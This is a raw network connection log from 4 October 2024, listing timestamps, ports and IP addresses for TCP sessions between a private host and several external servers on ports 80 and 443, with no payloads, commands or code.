Oct 4, 2024 15:53:46.062297106 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062303066 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062308073 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062319040 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062330961 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062338114 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062342882 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062354088 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062365055 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062375069 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062376022 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062386036 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062397003 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062411070 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062417030 CEST	80	49781	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062434912 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062444925 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062448025 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062455893 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062472105 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062482119 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062485933 CEST	49781	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062493086 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062503099 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062508106 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062514067 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062524080 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062536001 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062536955 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062546968 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062560081 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062563896 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062586069 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062599897 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062602043 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062612057 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062628031 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062628031 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062638998 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062650919 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062660933 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062670946 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062683105 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062693119 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062697887 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062702894 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062712908 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062726021 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062731028 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062732935 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062743902 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062756062 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062767029 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062777042 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062777042 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062788963 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062799931 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062809944 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062820911 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062830925 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062832117 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062843084 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062854052 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062865019 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062874079 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062885046 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062889099 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062894106 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062903881 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062916040 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062927008 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062932968 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.062946081 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062953949 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062961102 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062963963 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062968969 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.062974930 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.063029051 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067219019 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067231894 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067241907 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067253113 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067300081 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067307949 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067327976 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067331076 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067341089 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067351103 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067362070 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067401886 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067418098 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067425966 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067445993 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067456961 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067465067 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067491055 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067493916 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067504883 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067514896 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067526102 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067536116 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067562103 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067621946 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067632914 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067643881 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067656994 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067667007 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067691088 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067756891 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067768097 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067778111 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067789078 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067799091 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067807913 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067835093 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.067956924 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067969084 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067979097 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.067990065 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068001986 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068003893 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068011045 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068037987 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068058014 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068095922 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068106890 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068116903 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068129063 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068140030 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068140984 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068198919 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068200111 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068209887 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068221092 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068232059 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068237066 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068243027 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068276882 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068356037 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068367958 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068378925 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068389893 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068399906 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068403959 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068454027 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068480015 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068490982 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068500996 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068512917 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068522930 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068528891 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068555117 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068576097 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068705082 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068716049 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068727016 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068737984 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068748951 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068753958 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068758965 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068770885 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068780899 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068792105 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068792105 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068802118 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068813086 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068820000 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068845034 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068866014 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068908930 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068919897 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068949938 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068969011 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.068977118 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.068989038 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.069001913 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.069011927 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.069015026 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.069040060 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.069075108 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.093374968 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.094170094 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.094196081 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.094942093 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.094947100 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.198369980 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198383093 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198394060 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198405981 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198472977 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.198513031 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.198514938 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198527098 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198594093 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.198687077 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198698044 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198733091 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.198961973 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198972940 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.198983908 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199016094 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.199038029 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.199126005 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199142933 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199148893 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199152946 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199167967 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.199193001 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.199261904 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199304104 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.199343920 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199356079 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199367046 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199378967 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199393988 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.199414015 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.199450016 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.199470997 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199512005 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.199649096 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.199696064 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.200453997 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200464010 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200474024 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200484991 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200511932 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.200548887 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.200579882 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200614929 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.200788021 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200799942 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200809002 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200819969 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200829029 CEST	80	49780	147.45.44.104	192.168.2.10
Oct 4, 2024 15:53:46.200838089 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.200874090 CEST	49780	80	192.168.2.10	147.45.44.104
Oct 4, 2024 15:53:46.277306080 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.277861118 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.277890921 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.278449059 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.278456926 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.282588005 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.282656908 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.282727003 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.282895088 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.282912970 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.282922029 CEST	49786	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.282927036 CEST	443	49786	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.285372019 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.285417080 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.290791035 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.298293114 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.298327923 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.311450958 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.313925982 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.313940048 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.314606905 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.314613104 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.329602003 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:46.329639912 CEST	49720	80	192.168.2.10	41.216.188.190
Oct 4, 2024 15:53:46.337822914 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:46.337879896 CEST	80	49720	41.216.188.190	192.168.2.10
Oct 4, 2024 15:53:46.355535030 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.357745886 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.357933044 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.357969046 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.358392000 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.358401060 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.358860970 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.358869076 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.359237909 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.359245062 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.389370918 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.389543056 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.389874935 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.412184954 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.412224054 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.412240028 CEST	49788	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.412247896 CEST	443	49788	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.415620089 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.415703058 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.415771008 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.428699017 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.428699017 CEST	49787	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.428721905 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.428731918 CEST	443	49787	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.438093901 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.438147068 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.438334942 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.439532995 CEST	49792	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.439553022 CEST	443	49792	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.441015959 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.441065073 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.441131115 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.441272020 CEST	49793	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.441287041 CEST	443	49793	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.470346928 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.470431089 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.470494032 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.499175072 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.499175072 CEST	49790	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.499207020 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.499218941 CEST	443	49790	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.507802963 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.507873058 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.508004904 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.534915924 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.534936905 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.534948111 CEST	49789	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.534954071 CEST	443	49789	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.542864084 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.542905092 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.542989016 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.545505047 CEST	49794	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.545520067 CEST	443	49794	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.547998905 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.548041105 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.548106909 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.548258066 CEST	49795	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.548274994 CEST	443	49795	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.659415960 CEST	49796	80	192.168.2.10	46.8.231.109
Oct 4, 2024 15:53:46.667779922 CEST	80	49796	46.8.231.109	192.168.2.10
Oct 4, 2024 15:53:46.668214083 CEST	49796	80	192.168.2.10	46.8.231.109
Oct 4, 2024 15:53:46.685156107 CEST	49796	80	192.168.2.10	46.8.231.109
Oct 4, 2024 15:53:46.690001965 CEST	80	49796	46.8.231.109	192.168.2.10
Oct 4, 2024 15:53:46.965114117 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.968277931 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.968300104 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:46.968992949 CEST	49791	443	192.168.2.10	13.107.246.60
Oct 4, 2024 15:53:46.969002962 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.068707943 CEST	443	49791	13.107.246.60	192.168.2.10
Oct 4, 2024 15:53:47.068783045 CEST	443	49791	13.107.246.60	192.168.2.10
